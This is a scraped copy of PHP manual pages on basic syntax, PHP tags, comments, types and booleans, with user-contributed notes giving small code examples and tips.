    • Type Juggling
  • Variables
    • Basics
    • Predefined Variables
    • Variable scope
    • Variable variables
    • Variables From External Sources
  • Constants
    • Syntax
    • Magic constants
  • Expressions
  • Operators
    • Operator Precedence
    • Arithmetic Operators
    • Assignment Operators
    • Bitwise Operators
    • Comparison Operators
    • Error Control Operators
    • Execution Operators
    • Incrementing/Decrementing Operators
    • Logical Operators
    • String Operators
    • Array Operators
    • Type Operators
  • Control Structures
    • Introduction
    • if
    • else
    • elseif/else if
    • Alternative syntax for control structures
    • while
    • do-while
    • for
    • foreach
    • break
    • continue
    • switch
    • declare
    • return
    • require
    • include
    • require_once
    • include_once
    • goto
  • Functions
    • User-defined functions
    • Function arguments
    • Returning values
    • Variable functions
    • Internal (built-in) functions
    • Anonymous functions
  • Classes and Objects
    • Introduction
    • The Basics
    • Properties
    • Class Constants
    • Autoloading Classes
    • Constructors and Destructors
    • Visibility
    • Object Inheritance
    • Scope Resolution Operator (::)
    • Static Keyword
    • Class Abstraction
    • Object Interfaces
    • Traits
    • Overloading
    • Object Iteration
    • Magic Methods
    • Final Keyword
    • Object Cloning
    • Comparing Objects
    • Type Hinting
    • Late Static Bindings
    • Objects and references
    • Object Serialization
    • OOP Changelog
  • Namespaces
    • Namespaces overview
    • Defining namespaces
    • Declaring sub-namespaces
    • Defining multiple namespaces in the same file
    • Using namespaces: Basics
    • Namespaces and dynamic language features
    • namespace keyword and __NAMESPACE__ constant
    • Using namespaces: Aliasing/Importing
    • Global space
    • Using namespaces: fallback to global function/constant
    • Name resolution rules
    • FAQ: things you need to know about namespaces
  • Exceptions
    • Extending Exceptions
  • Generators
    • Generators overview
    • Generator syntax
    • Comparing generators with Iterator objects
  • References Explained
    • What References Are
    • What References Do
    • What References Are Not
    • Passing by Reference
    • Returning References
    • Unsetting References
    • Spotting References
  • Predefined Variables
    • Superglobals — Superglobals are built-in variables that are always available in all scopes
    • $GLOBALS — References all variables available in global scope
    • $_SERVER — Server and execution environment information
    • $_GET — HTTP GET variables
    • $_POST — HTTP POST variables
    • $_FILES — HTTP File Upload variables
    • $_REQUEST — HTTP Request variables
    • $_SESSION — Session variables
    • $_ENV — Environment variables
    • $_COOKIE — HTTP Cookies
    • $php_errormsg — The previous error message
    • $HTTP_RAW_POST_DATA — Raw POST data
    • $http_response_header — HTTP response headers
    • $argc — The number of arguments passed to script
    • $argv — Array of arguments passed to script
  • Predefined Exceptions
    • Exception
    • ErrorException
  • Predefined Interfaces and Classes
    • Traversable — The Traversable interface
    • Iterator — The Iterator interface
    • IteratorAggregate — The IteratorAggregate interface
    • ArrayAccess — The ArrayAccess interface
    • Serializable — The Serializable interface
    • Closure — The Closure class
    • Generator — The Generator class
  • Context options and parameters
    • Socket context options — Socket context option listing
    • HTTP context options — HTTP context option listing
    • FTP context options — FTP context option listing
    • SSL context options — SSL context option listing
    • CURL context options — CURL context option listing
    • Phar context options — Phar context option listing
    • MongoDB context options — MongoDB context option listing
    • Context parameters — Context parameter listing
  • Supported Protocols and Wrappers
    • file:// — Accessing local filesystem
    • http:// — Accessing HTTP(s) URLs
    • ftp:// — Accessing FTP(s) URLs
    • php:// — Accessing various I/O streams
    • zlib:// — Compression Streams
    • data:// — Data (RFC 2397)
    • glob:// — Find pathnames matching pattern
    • phar:// — PHP Archive
    • ssh2:// — Secure Shell 2
    • rar:// — RAR
    • ogg:// — Audio streams
    • expect:// — Process Interaction Streams

User Contributed Notes

There are no user contributed notes for this page.


Basic syntax

Table of Contents

  • PHP tags
  • Escaping from HTML
  • Instruction separation
  • Comments

User Contributed Notes

Michael Newton (http://mike.eire.ca/) 13-Dec-2005 12:17
The XML declaration does not need to be handled specially.

You should output it via an echo statement, in case your code is ever used on a server that is (poorly) configured to use short open tags.

But there's no need to treat the ?> at the end of the string specially.  That's because it's in a string.  The only thing PHP ever looks for in a string is \ or $ (the latter only in double-quoted strings.)

I have never had need for the following, as some have suggested below:

<?php
$xml=rawurldecode('%3C%3Fxml%20version%3D%221.0%22%3F%3E');
echo($xml);
?>

<?php echo '<?xml version="1.0" ?'.'>' ?>

<?php echo "<?xml version=\"1.0\"\x3F>" ?>
php [AT] jsomers [DOT] be 23-Sep-2005 09:37
PEAR states:

Always use <?php ?> to delimit PHP code, not the <? ?> shorthand. This is required for PEAR compliance and is also the most portable way to include PHP code on differing operating systems and setups.

It is these small things that enhance readability in group projects, or libraries.
p o r g e s at the gmail dot com server 02-Apr-2005 05:02
mike at skew dot org, I believe the differentiation is that "x"-"m"-"l" as a PI target is explicitly excluded from the definition of processing instructions.
mike at skew dot org 22-Oct-2004 01:53
mart3862 mentions "XML processing instructions" and quotes their syntax from the spec, but is mistaken in using

<?xml version="1.0" ...?>

as an example. This little bit of markup that appears at the beginning of an XML file is in fact not a processing instruction at all; it is an "XML declaration" -- or, if it appears in an entity other than the main document, a "text declaration". All three constructs are formatted slightly differently, although they all do begin and end with the same.

The difference between a processing instruction, an XML declaration, or a text declaration is more than just a matter of subtle differences in syntax, though. A processing instruction embodies exactly two opaque, author-defined pieces of information (a 'target' and an 'instruction') that are considered to be part of the document's logical structure and that are thus made available to an application by the XML parser. An XML or text declaration, on the other hand, contains one to three specific pieces of information (version, encoding, standalone status), each with a well-defined meaning. This info provides cues to the parser to help it know how to read the file; it is not considered part of the document's logical structure and is not made available to the application.
stooges_cubed at racerx dot net 20-Oct-2004 10:13
In the note above about escaping XML/PHP style <?xml tags, the following code was used:

<?php  // Html safe containers

   echo <<<EOD
<?xml version="1.0"?>
...all sorts of XML goes here...
Nothing will affect the output of this code until:
EOD;
?>

EOD is just an example stop/start name.

This works too:

<?php  // Html safe containers

  $myOutput = <<<MYHTMLSAFEOUTPUT
<?xml version="1.0"?>
<html>
  <title>PHP Example</title>
  <body>
   <p>...all sorts goes here...</p>
  </body>
</html>
MYHTMLSAFEOUTPUT;

echo $myOutput;

?>

Only disadvantage of using this is that all the code highlighting programs I've seen never get it right, making your code look eronous in the majority of viewers.

Another alternative is to keep the XML / HTML in a separate include file and read in when needed. I don't know how efficient/inefficient this is for (idiots like yourselves) small amounts of text.

xmlheader.txt:
<?xml version="1.0"?>

mypage.php:
<?php
  include("xmlheader.txt");
?>
crtrue at coastal dot edu 01-May-2004 08:02
Although you can use the above methods to pass a document off as a valid for the W3C parser, a simpler-and-perfectly-legal method of doing so is to simple declare the document type in a meta tag. Something along these lines (mind the values in 'content' - I haven't personally used the Content-Type method in awhile):

<meta http-equiv="Content-Type" content="application/xml+xhtml; charset=UTF-8" />

Of course if you're using just XML, and don't use such functions, then the above methods will work just as fine.
mart3862 at yahoo dot com dot au 18-Apr-2004 06:29
Now the ultimate truth on how you should output xml processing instructions:

There have been several posts suggesting ways to include the text <?xml version="1.0" encoding="utf-8"?> in your output when short_tags is turned on, but only the following should be used:

<?php echo '<?xml version="1.0" ?'.'>' ?>
or
<?php echo "<?xml version=\"1.0\"\x3F>" ?>

Using one of these methods, and not making use of short tags, means your source code will also be a valid XML document, which allows you to do many things with it such as validation, XSLT translations, etc, as well as allowing your text editor to parse your code for syntax colouring.  Every PHP tag will simply be interpreted as an XML processing instruction (commonly referred to as PI).

The reason why all the other suggested methods are not advisable is because they contain the characters ?> inside the PHP tag, which the XML parser will interpret as the end of the processing instruction.

A processing instruction is defined in XML as:

PI ::= '<?' PITarget (S (Char* - (Char* '?>' Char*)))? '?>'

In other words, it explicitly forbids the characters ?> to occur together within a processing instruction, unless they are delimiting the end of the tag.  It also requires a PITarget (an identifier starting with a letter) immediately after the initial start delimiter, which means that all short tag formats are also invalid XML.

Following these guidelines will result in code that is portable to servers with any configuration and allow you perform many useful tasks on your XML or XHTML source documents.  Even if you do not intend to validate or translate your source documents, and you can ignore some incorrect syntax colouring in your text editor, it is still best to get into good habits early.
Anon 22-Feb-2004 03:05
Yet another way of adding the XML processing instruction is to use:

<?php echo '<?xml version="1.0" ?'.'>' ?>

Because the ? and > are separated, the parser will not terminate before it is supposed to.

As a side note, the W3C's parser seems to recognise this method (assuming it even checks for the PI).
johnbeech at (not saying) mkv25 dot net 08-Dec-2003 01:42
In the note above about escaping XML/PHP style <?xml tags, the following code was used:

<?php  // Html safe containers

   echo <<<EOD
<?xml version="1.0"?>
...all sorts of XML goes here...
Nothing will affect the output of this code until:
EOD;
?>

EOD is just an example stop/start name.

This works too:

<?php  // Html safe containers

  $myOutput = <<<MYHTMLSAFEOUTPUT
<?xml version="1.0"?>
<html>
  <title>PHP Example</title>
  <body>
    <p>...all sorts goes here...</p>
  </body>
</html>
MYHTMLSAFEOUTPUT;

echo $myOutput;

?>

Only disadvantage of using this is that all the code highlighting programs I've seen never get it right, making your code look eronous in the majority of viewers.

Another alternative is to keep the XML / HTML in a separate include file and read in when needed. I don't know how efficient/inefficient this is for small amounts of text.

xmlheader.txt:
<?xml version="1.0"?>

mypage.php:
<?php
  include("xmlheader.txt");
?>
dave at [nospam] dot netready dot biz 18-Mar-2002 01:21
A little "feature" of PHP I've discovered is that the <?PHP token requires a space after it whereas after the <? and <% tokens a space is optional.

The error message you get if you miss the space is not too helpful so be warned!

(These examples only give a warning with error_reporting(E_ALL) )

<?PHP/*<Some HTML>*/?> fails...
<?/*<Some HTML>*/?> works...
mrtidy at mail dot com 12-Dec-2001 09:36
[Ed Note:
This is because of short_tags, <?xml turns php parsing on, because of the <?.
--irc-html@php.net]

I am moving my site to XHTML and I ran into trouble with the <?xml ?> interfering with the <?php ?> method of escaping for HTML.  A quick check of the mailing list confirmed that the current preferred method to cleanly output the <?xml ?> line is to echo it:<br>
<?php echo("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"); ?>


PHP tags

When PHP parses a file, it looks for opening and closing tags, which are <?php and ?> which tell PHP to start and stop interpreting the code between them. Parsing in this manner allows PHP to be embedded in all sorts of different documents, as everything outside of a pair of opening and closing tags is ignored by the PHP parser.

PHP also allows for short open tags <? and ?> (which are discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option.

If a file is pure PHP code, it is preferable to omit the PHP closing tag at the end of the file. This prevents accidental whitespace or new lines being added after the PHP closing tag, which may cause unwanted effects because PHP will start output buffering when there is no intention from the programmer to send any output at that point in the script.

<?php
echo "Hello world";

// ... more code

echo "Last statement";

// the script ends here with no PHP closing tag

User Contributed Notes

billscloud dot mail at gmail dot com 17-Oct-2014 07:34
In your paragraph you need to close your bracket.

<grammernazi>Me</grammarnazi>
alexander dot podgorny at somewhere dot com 11-Oct-2014 01:28
One reason to use long tags over short is to avoid confusion with <?xml ?> notation.
preda dot vlad at yahoo dot com 12-Mar-2013 06:14
So here are the valid ways to open PHP tags:

<?php ?> // standard tags
<? ?> // short tags, need short_open_tag enabled in php.ini
<% %> // asp tags, need asp_tags enabled in php.ini
<script language="php"> </script> // case insensitive

PSR-1 coding standards suggest to only use <?php ?> or <?= ?> (echo short tags) - and no other variations, and PSR-2 suggests to not close the tags in PHP only files.


Escaping from HTML

Everything outside of a pair of opening and closing tags is ignored by the PHP parser which allows PHP files to have mixed content. This allows PHP to be embedded in HTML documents, for example to create templates.

<p>This is going to be ignored by PHP and displayed by the browser.</p>
<?php echo 'While this is going to be parsed.'; ?>
<p>This will also be ignored by PHP and displayed by the browser.</p>
This works as expected, because when the PHP interpreter hits the ?> closing tags, it simply starts outputting whatever it finds (except for an immediately following newline - see instruction separation) until it hits another opening tag unless in the middle of a conditional statement in which case the interpreter will determine the outcome of the conditional before making a decision of what to skip over. See the next example.

Using structures with conditions

Example #1 Advanced escaping using conditions

<?php if ($expression == true): ?>
  This will show if the expression is true.
<?php else: ?>
  Otherwise this will show.
<?php endif; ?>
In this example PHP will skip the blocks where the condition is not met, even though they are outside of the PHP open/close tags, PHP skips them according to the condition since the PHP interpreter will jump over blocks contained within a condition what is not met.

For outputting large blocks of text, dropping out of PHP parsing mode is generally more efficient than sending all of the text through echo or print.

There are four different pairs of opening and closing tags which can be used in PHP. Two of those, <?php ?> and <script language="php"> </script>, are always available. The other two are short tags and ASP style tags, and can be turned on and off from the php.ini configuration file. As such, while some people find short tags and ASP style tags convenient, they are less portable, and generally not recommended.

Note:

Also note that if you are embedding PHP within XML or XHTML you will need to use the <?php ?> tags to remain compliant with standards.

Example #2 PHP Opening and Closing Tags

1.  <?php echo 'if you want to serve XHTML or XML documents, do it like this'; ?>

2.  <script language="php">
        echo 'some editors (like FrontPage) don\'t
              like processing instructions';
    </script>

3.  <? echo 'this is the simplest, an SGML processing instruction'; ?>
    <?= expression ?> This is a shortcut for "<? echo expression ?>"

4.  <% echo 'You may optionally use ASP-style tags'; %>
    <%= $variable; %> This is a shortcut for "<% echo $variable; %>"

While the tags seen in examples one and two are both always available, example one is the most commonly used, and recommended, of the two.

Short tags (example three) are only available when they are enabled via the short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option.

ASP style tags (example four) are only available when they are enabled via the asp_tags php.ini configuration file directive.

Note:

Using short tags should be avoided when developing applications or libraries that are meant for redistribution, or deployment on PHP servers which are not under your control, because short tags may not be supported on the target server. For portable, redistributable code, be sure not to use short tags.

Note:

In PHP 5.2 and earlier, the parser does not allow the <?php opening tag to be the only thing in a file. This is allowed as of PHP 5.3 provided there are one or more whitespace characters after the opening tag.

Note:

Starting with PHP 5.4, short echo tag <?= is always recognized and valid, regardless of the short_open_tag setting.

User Contributed Notes

Kalimuthu 06-Sep-2014 06:23
One more disadvantage of using PHP short tags is that, it clashes with XML. Because XML also uses <? to open code blocks. See below sample XML code

<?xml version="1.0" encoding="UTF-8"?>
<note>
    <to> Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend!</body>
</note>
sgurukrupa at gmail dot com 10-Mar-2014 04:01
Although not specifically pointed out in the main text, escaping from HTML also applies to other control statements:

<?php for ($i = 0; $i < 5; ++$i): ?>
Hello, there!
<?php endfor; ?>

When the above code snippet is executed we get the following output:

Hello, there!
Hello, there!
Hello, there!
Hello, there!
mike at clove dot com 30-Nov-2010 07:30
It's possible to write code to create php escapes which can be processed later by substituting \x3f for '?' - as in echo "<\x3fphp echo 'foo'; \x3f>";

This is useful for creating a template parser which later is rendered by PHP.
quickfur at quickfur dot ath dot cx 26-Jul-2010 11:40
When the documentation says that the PHP parser ignores everything outside the <?php ... ?> tags, it means literally EVERYTHING. Including things you normally wouldn't consider "valid", such as the following:

<html><body>
<p<?php if ($highlight): ?> class="highlight"<?php endif;?>>This is a paragraph.</p>
</body></html>

Notice how the PHP code is embedded in the middle of an HTML opening tag. The PHP parser doesn't care that it's in the middle of an opening tag, and doesn't require that it be closed. It also doesn't care that after the closing ?> tag is the end of the HTML opening tag. So, if $highlight is true, then the output will be:

<html><body>
<p class="highlight">This is a paragraph.</p>
</body></html>

Otherwise, it will be:

<html><body>
<p>This is a paragraph.</p>
</body></html>

Using this method, you can have HTML tags with optional attributes, depending on some PHP condition. Extremely flexible and useful!
snor_007 at hotmail dot com 02-Apr-2010 01:28
Playing around with different open and close tags I discovered you can actually mix different style open/close tags

some examples

<%
//your php code here
?>

or

<script language="php">
//php code here
%>
ravenswd at gmail dot com 02-Aug-2009 02:08
One aspect of PHP that you need to be careful of, is that ?> will drop you out of PHP code and into HTML even if it appears inside a // comment. (This does not apply to /* */ comments.) This can lead to unexpected results. For example, take this line:

<?php
  $file_contents  = '<?php die(); ?>' . "\n";
?>

If you try to remove it by turning it into a comment, you get this:

<?php
//  $file_contents  = '<?php die(); ?>' . "\n";
?>

Which results in ' . "\n"; (and whatever is in the lines following it) to be output to your HTML page.

The cure is to either comment it out using /* */ tags, or re-write the line as:

<?php
  $file_contents  = '<' . '?php die(); ?' . '>' . "\n";
?>
david dot jarry at gmail dot com 26-Mar-2009 12:40
Shorts tags and ASP tags are unportables and should be avoided.

<script /> tags are a waste of time and simply inefficient in some simple cases :
<body>
  <p style="color: <script language="php"> echo $text_color </script>;">
  (...) VERY long text (...)
  </p>
</body>
To render this example in a basic XHTML editor, you need to "echo()" all the content or break the XML rules.

The solution seems obvious to me : Why not add the shortcut "<?php= ?>" to be used within XML and XHTML documents ?
<?php='example1'?>
<?php=$example2?>
admin at furutsuzeru dot net 02-Jan-2009 05:50
These methods are just messy. Short-opening tags and ASP-styled tags are not always enabled on servers. The <script language="php"></script> alternative is just out there. You should just use the traditional tag opening:

<?php?>

Coding islands, for example:

<?php
$me =  'Pyornide';
?>
<?=$me;?> is happy.
<?php
$me = strtoupper($me);
?>
<?=$me;?> is happier.

Lead to something along the lines of messy code. Writing your application like this can just prove to be more of an
inconvenience when it comes to maintenance.

If you have to deal chunks of HTML, then consider having a templating system do the job for you. It is a poor idea to rely on the coding islands method as a template system in any way, and for reasons listed above.


Instruction separation

As in C or Perl, PHP requires instructions to be terminated with a semicolon at the end of each statement. The closing tag of a block of PHP code automatically implies a semicolon; you do not need to have a semicolon terminating the last line of a PHP block. The closing tag for the block will include the immediately trailing newline if one is present.

<?php
    echo 'This is a test';
?>

<?php echo 'This is a test' ?>

<?php echo 'We omitted the last closing tag';

Note:

The closing tag of a PHP block at the end of a file is optional, and in some cases omitting it is helpful when using include or require, so unwanted whitespace will not occur at the end of files, and you will still be able to add headers to the response later. It is also handy if you use output buffering, and would not like to see added unwanted whitespace at the end of the parts generated by the included files.

User Contributed Notes

Kalimuthu 06-Sep-2014 06:54
One thing to remember is, if you decide to omit the closing PHP tag, then the last line of the file should be ended with semi colon. If you add the closing tag then last line doesn't need to end with semi colon.

<?php
echo "First line";
echo "Last line"

The above code throws error as it neither has closing tag nor semicolon ending. So it should be replaced with either of the below two

<?php
echo "First line";
echo "Last line";

or

<?php
echo "First line";
echo "Last line" ?>
shojibur at gmail dot com 27-Apr-2014 01:30
You have been missed semicolon.

Keep in mind if you did not put closing tag, must put semicolon at the end ,

<?php echo '<p>But html is still visible</p>';
pbarney 18-Nov-2011 01:13
If you want to keep the newline after a closing tag in the output, just add a space after the closing tag, and the newline will not be ignored.
Krishna Srikanth 17-Aug-2006 01:44
Do not mis interpret

<?php echo 'Ending tag excluded';

with

<?php echo 'Ending tag excluded';
<p>But html is still visible</p>

The second one would give error. Exclude ?> if you no more html to write after the code.


Comments

PHP supports 'C', 'C++' and Unix shell-style (Perl style) comments. For example:

<?php
    echo 'This is a test'; // This is a one-line c++ style comment
    /* This is a multi line comment
       yet another line of comment */
    echo 'This is yet another test';
    echo 'One Final Test'; # This is a one-line shell-style comment
?>

The "one-line" comment styles only comment to the end of the line or the current block of PHP code, whichever comes first. This means that HTML code after // ... ?> or # ... ?> WILL be printed: ?> breaks out of PHP mode and returns to HTML mode, and // or # cannot influence that. If the asp_tags configuration directive is enabled, it behaves the same with // %> and # %>. However, the </script> tag doesn't break out of PHP mode in a one-line comment.

<h1>This is an <?php # echo 'simple';?> example</h1>
<p>The header above will say 'This is an  example'.</p>

'C' style comments end at the first */ encountered. Make sure you don't nest 'C' style comments. It is easy to make this mistake if you are trying to comment out a large block of code.

<?php
 /*
    echo 'This is a test'; /* This comment will cause a problem */
 */
?>

User Contributed Notes

J. Prettyman 13-Feb-2014 02:55
Notes can come in all sorts of shapes and sizes. They vary, and their uses are completely up to the person writing the code. However, I try to keep things consistent in my code that way it's easy for the next person to read. So something like this might help...

<?php

//======================================================================
// CATEGORY LARGE FONT
//======================================================================

//-----------------------------------------------------
// Sub-Category Smaller Font
//-----------------------------------------------------

/* Title Here Notice the First Letters are Capitalized */

# Option 1
# Option 2
# Option 3

/*
 * This is a detailed explanation
 * of something that should require
 * several paragraphs of information.
 */

// This is a single line quote.
?>
magnesium dot oxide dot play+php at gmail dot com 10-Oct-2013 07:02
It is worth mentioning that, HTML comments have no meaning in PHP parser. So,

<!-- comment
<?php echo some_function(); ?>
-->

WILL execute some_function() and echo result inside HTML comment.
Anonymous 09-Oct-2013 04:02
The comment priority is depended on the order:
1. */
2. ?>
3. // and #
Clem at no dot spam 19-Apr-2013 11:47
Uncommented:

<?php
/**/

echo "foo";

/**/
?>

Commented:

<?php
/** /

echo "foo";

/**/
?>
team at researchbib dot com 14-Sep-2011 04:25
when the comment string contains '?>', you should be careful.

e.g. output code 1= code 2 is different with code 3
1. with //
<?php

// echo '<?php ?>';

?>

2. with #

<?php

// echo '<?php ?>';

?>

3. with /* */

<?php

/* echo '<?php ?>';*/

?>
philip-php at dago dot yourweb dot de 05-Mar-2011 07:29
It's true, comments do not take up PROCESSING time, but they do take some PARSING time in case you are not using a compile cache of some kind.
jballard at natoga dot com 15-Dec-2010 11:28
Comments do NOT take up processing power.

So, for all the people who argue that comments are undesired because they take up processing power now have no reason to comment ;)

<?php

// Control
echo microtime(), "<br />"; // 0.25163600 1292450508
echo microtime(), "<br />"; // 0.25186000 1292450508

// Test
echo microtime(), "<br />"; // 0.25189700 1292450508
# TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST
# .. Above comment repeated 18809 times ..
echo microtime(), "<br />"; // 0.25192100 1292450508

?>

They take up about the same amount of time (about meaning on a repeated testing, sometimes the difference between the control and the test was negative and sometimes positive).
benny at bennyborn dot de 08-Dec-2010 12:16
This regex should do the job when trying to parse comments

(\/\*(.*?)\*\/)|(^|\s+)\/\/(.*?)(\n|$)|(^|\s+)#(.*?)(\n|$)
Wolfsbay at ya dot ru 12-May-2010 11:10
If you are using editor with code highlight, it’s much easier to notice error like /* */ */.
theblazingangel at aol dot com 29-Aug-2007 12:55
it's perhaps not obvious to some, but the following code will cause a parse error! the ?> in //?> is not treated as commented text, this is a result of having to handle code on one line such as <?php echo 'something'; //comment ?>

<?php
if(1==1)
{
    //?>
}
?>

i discovered this "anomally" when i commented out a line of code containing a regex which itself contained ?>, with the // style comment.
e.g. //preg_match('/^(?>c|b)at$/', 'cat', $matches);
will cause an error while commented! using /**/ style comments provides a solution. i don't know about # style comments, i don't ever personally use them.
fun at nybbles dot com 14-Jul-2006 07:28
a trick I have used in all languages to temporarily block out large sections (usually for test/debug/new-feature purposes), is to set (or define) a var at the top, and use that to conditionally comment the blocks; an added benefit over if(0) (samuli's comment from nov'05) is that u can have several versions or tests running at once, and u dont require cleanup later if u want to keep the blocks in:  just reset the var.

personally, I use this more to conditionally include code for new feature testing, than to block it out,,,, but hey, to each their own :)

this is also the only safe way I know of to easily nest comments in any language, and great for multi-file use, if the conditional variables are placed in an include :)

for example, placed at top of file:

<?php $ver3 = TRUE;
       $debug2 = FALSE;
?>

and then deeper inside the file:

<?php if ($ver3) {
           print("This code is included since we are testing version 3");
         }
?>

<?php if ($debug2) {
           print("This code is 'commented' out");
         }
?>
mst_NO_SPAM_TO_ME at mstsoft dot com 05-Jun-2006 02:38
This "comment ends on line break or end of PHP Block" thing can be confusing. I discovered this by accident when working with XML Output from PHP...

<?PHP

header("Content-type: text/xml");

/*
echo "<?xml version=\"1.0\"?>";
echo "<page>multi-line comments work as expected.</page>";
*/

//echo "<?xml version=\"1.0\"?>";
//echo "<page>single-line comments end php mode and output your code.</page>";

?>

I would expect the comment to work, but there is no parsing in comments so the String suddenly becomes a PHP  end-block tag, which is correct reading this documentation.

cheers,
martin
PS: You even see the behavior in the Syntax highlighting :-)
J Lee 26-May-2006 08:39
MSpreij (8-May-2005) says  /* .. */ overrides //
Anonymous (26-Jan-2006) says // overrides /* .. */

Actually, both are correct. Once a comment is opened, *everything* is ignored until the end of the comment (or the end of the php block) is reached.

Thus, if a comment is opened with:
   //  then /* and */ are "overridden" until after end-of-line
   /*  then // is "overridden" until after */
21-Jan-2006 10:46
M Spreij wrote, 08-May-2005 08:15...
A nice way to toggle the commenting of blocks of code can be done by mixing the two comment styles:
...
This works because a /* .. */ overrides //.

The final sentence should be the other way round, i.e.

This works because a // overrides /* .. */.
(If it didn't the /* .. */ would comment out the code regardless of whether an additional '/' is prefixed to the first line).
samuli dot karevaara at lamk dot fi 11-Nov-2005 05:30
If you want to comment out large sections of code (temporarily, usually and hopefully), consider using
<?php
if (0) {
     print("This code is 'commented' out");
}
?>
instead of /* comment block */. Otherwise, as noted here, you will have parse errors if the block that you commented out contains */ somewhere, like in regexp or in another comment.
hcderaad at wanadoo dot nl 29-Jun-2005 10:51
Comments in PHP can be used for several purposes, a very interesting one being that you can generate API documentation directly from them by using PHPDocumentor (http://www.phpdoc.org/).

Therefor one has to use a JavaDoc-like comment syntax (conforms to the DocBook DTD), example:
<?php
/**
* The second * here opens the DocBook commentblock, which could later on<br>
* in your development cycle save you a lot of time by preventing you having to rewrite<br>
* major documentation parts to generate some usable form of documentation.
*/
?>
Some basic html-like formatting is supported with this (ie <br> tags) to create something of a layout.
M Spreij 08-May-2005 09:15
A nice way to toggle the commenting of blocks of code can be done by mixing the two comment styles:
<?php
//*
if ($foo) {
  echo $bar;
}
// */
sort($morecode);
?>

Now by taking out one / on the first line..

<?php
/*
if ($foo) {
  echo $bar;
}
// */
sort($morecode);
?>
..the block is suddenly commented out.
This works because a /* .. */ overrides //. You can even "flip" two blocks, like this:
<?php
//*
if ($foo) {
  echo $bar;
}
/*/
if ($bar) {
  echo $foo;
}
// */
?>
vs
<?php
/*
if ($foo) {
  echo $bar;
}
/*/
if ($bar) {
  echo $foo;
}
// */
?>
Steve 15-Dec-2004 01:41
Be careful when commenting out regular expressions.

E.g. the following causes a parser error.

I do prefer using # as regexp delimiter anyway so it won't hurt me ;-)

<?php

/*

 $f->setPattern('/^\d.*/');

*/

?>


Types

Table of Contents

  • Introduction
  • Booleans
  • Integers
  • Floating point numbers
  • Strings
  • Arrays
  • Objects
  • Resources
  • NULL
  • Callbacks
  • Pseudo-types and variables used in this documentation
  • Type Juggling

User Contributed Notes

There are no user contributed notes for this page.


Introduction

PHP supports eight primitive types.

Four scalar types:

  • boolean
  • integer
  • float (floating-point number, aka double)
  • string

Two compound types:

  • array
  • object

And finally two special types:

  • resource
  • NULL

This manual also introduces some pseudo-types for readability reasons:

  • mixed
  • number
  • callback

And the pseudo-variable $....

Some references to the type "double" may remain in the manual. Consider double the same as float; the two names exist only for historic reasons.

The type of a variable is not usually set by the programmer; rather, it is decided at runtime by PHP depending on the context in which that variable is used.

Note: To check the type and value of an expression, use the var_dump() function.

To get a human-readable representation of a type for debugging, use the gettype() function. To check for a certain type, do not use gettype(), but rather the is_type functions. Some examples:

<?php
$a_bool = TRUE;   // a boolean
$a_str  = "foo";  // a string
$a_str2 = 'foo';  // a string
$an_int = 12;     // an integer

echo gettype($a_bool); // prints out:  boolean
echo gettype($a_str);  // prints out:  string

// If this is an integer, increment it by four
if (is_int($an_int)) {
    $an_int += 4;
}

// If $a_bool is a string, print it out
// (does not print out anything)
if (is_string($a_bool)) {
    echo "String: $a_bool";
}
?>

To forcibly convert a variable to a certain type, either cast the variable or use the settype() function on it.

Note that a variable may be evaluated with different values in certain situations, depending on what type it is at the time. For more information, see the section on Type Juggling. The type comparison tables may also be useful, as they show examples of various type-related comparisons.

User Contributed Notes

There are no user contributed notes for this page.


Booleans

This is the simplest type. A boolean expresses a truth value. It can be either TRUE or FALSE.

Syntax

To specify a boolean literal, use the constants TRUE or FALSE. Both are case-insensitive.

<?php
$foo = True; // assign the value TRUE to $foo
?>

Typically, the result of an operator which returns a boolean value is passed on to a control structure.

<?php
// == is an operator which tests
// equality and returns a boolean
if ($action == "show_version") {
    echo "The version is 1.23";
}

// this is not necessary...
if ($show_separators == TRUE) {
    echo "<hr>\n";
}

// ...because this can be used with exactly the same meaning:
if ($show_separators) {
    echo "<hr>\n";
}
?>

Converting to boolean

To explicitly convert a value to boolean, use the (bool) or (boolean) casts. However, in most cases the cast is unnecessary, since a value will be automatically converted if an operator, function or control structure requires a boolean argument.

See also Type Juggling.

When converting to boolean, the following values are considered FALSE:

  • the boolean FALSE itself
  • the integer 0 (zero)
  • the float 0.0 (zero)
  • the empty string, and the string "0"
  • an array with zero elements
  • an object with zero member variables (PHP 4 only)
  • the special type NULL (including unset variables)
  • SimpleXML objects created from empty tags

Every other value is considered TRUE (including any resource).

Warning

-1 is considered TRUE, like any other non-zero (whether negative or positive) number!

<?php
var_dump((bool) "");        // bool(false)
var_dump((bool) 1);         // bool(true)
var_dump((bool) -2);        // bool(true)
var_dump((bool) "foo");     // bool(true)
var_dump((bool) 2.3e5);     // bool(true)
var_dump((bool) array(12)); // bool(true)
var_dump((bool) array());   // bool(false)
var_dump((bool) "false");   // bool(true)
?>

User Contributed Notes

den 17-Jan-2014 06:18
Casting bools to string is not working as maybe expected:

echo 'true as string gives [' . (string) true . "] not [true].\n";
echo 'false as string gives [' . (string) false . "] not [false].\n";

Output:

true as string gives [1] not [true].
false as string gives [] not [false].

This helps around that behavior:

true ? 'true' : 'false'
Fred Koschara 16-May-2013 02:38
Ah, yes, booleans - bit values that are either set (TRUE) or not set (FALSE).  Now that we have 64 bit compilers using an int variable for booleans, there is *one* value which is FALSE (zero) and 2**64-1 values that are TRUE (everything else).  It appears there's a lot more truth in this universe, but false can trump anything that's true...

PHP's handling of strings as booleans is *almost* correct - an empty string is FALSE, and a non-empty string is TRUE - with one exception:  A string containing a single zero is considered FALSE.  Why?  If *any* non-empty strings are going to be considered FALSE, why *only* a single zero?  Why not "FALSE" (preferably case insensitive), or "0.0" (with how many decimal places), or "NO" (again, case insensitive), or ... ?

The *correct* design would have been that *any* non-empty string is TRUE - period, end of story.  Instead, there's another GOTCHA for the less-than-completely-experienced programmer to watch out for, and fixing the language's design error at this late date would undoubtedly break so many things that the correction is completely out of the question.

Speaking of GOTCHAs, consider this code sequence:
<?php
$x=TRUE;
$y=FALSE;
$z=$y OR $x;
?>

Is $z TRUE or FALSE?

In this case, $z will be FALSE because the above code is equivalent to <?php ($z=$y) OR $x ?> rather than <?php $z=($y OR $x) ?> as might be expected - because the OR operator has lower precedence than assignment operators.

